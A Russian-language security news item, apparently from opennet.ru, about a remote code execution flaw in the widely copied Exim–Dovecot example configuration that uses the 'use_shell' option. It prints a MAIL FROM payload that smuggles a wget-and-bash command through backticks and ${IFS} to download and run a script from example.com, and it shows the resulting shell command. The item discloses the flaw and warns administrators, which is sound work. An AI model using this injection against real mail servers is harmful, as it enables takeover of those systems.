В рекомендованном на wiki-сайте проекта и в некоторых других руководствах примере настройки связки почтового сервера Exim с IMAP/POP3-сервером Dovecot выявлена критическая уязвимость, позволяющая выполнить произвольный код на сервере. Уязвимость может быть эксплуатирована через отправку письма со специальным образом оформленным адресом отправителя. Проблема проявляется только в системах, в которых в конфигурации Exim указана опция "use_shell" в блоке подключения Dovecot.

Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства. Всем пользователям связки Exim и Dovecot рекомендуется проверить настройки на предмет отсутствия опции "use_shell", при включении которой агент доставки запускается с использованием shell и передачей параметров в командной строке. Метод эксплуатации достаточно прост и сводится к манипуляции с экранированием спецсимволов, позволяя в итоге добиться выполнения shell-команд.

Например, атакующий может указать:

MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com

В процессе обработки такого запроса exim выполнит

/bin/sh -c "/usr/lib/Dovecot/deliver -e -k -s -f \"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com"

что приведёт к запуску wget, загрузке внешнего скрипта c сайта example.com/test.sh и его запуску.

Источник: http://www.opennet.ru/opennews/art.shtml?num=36859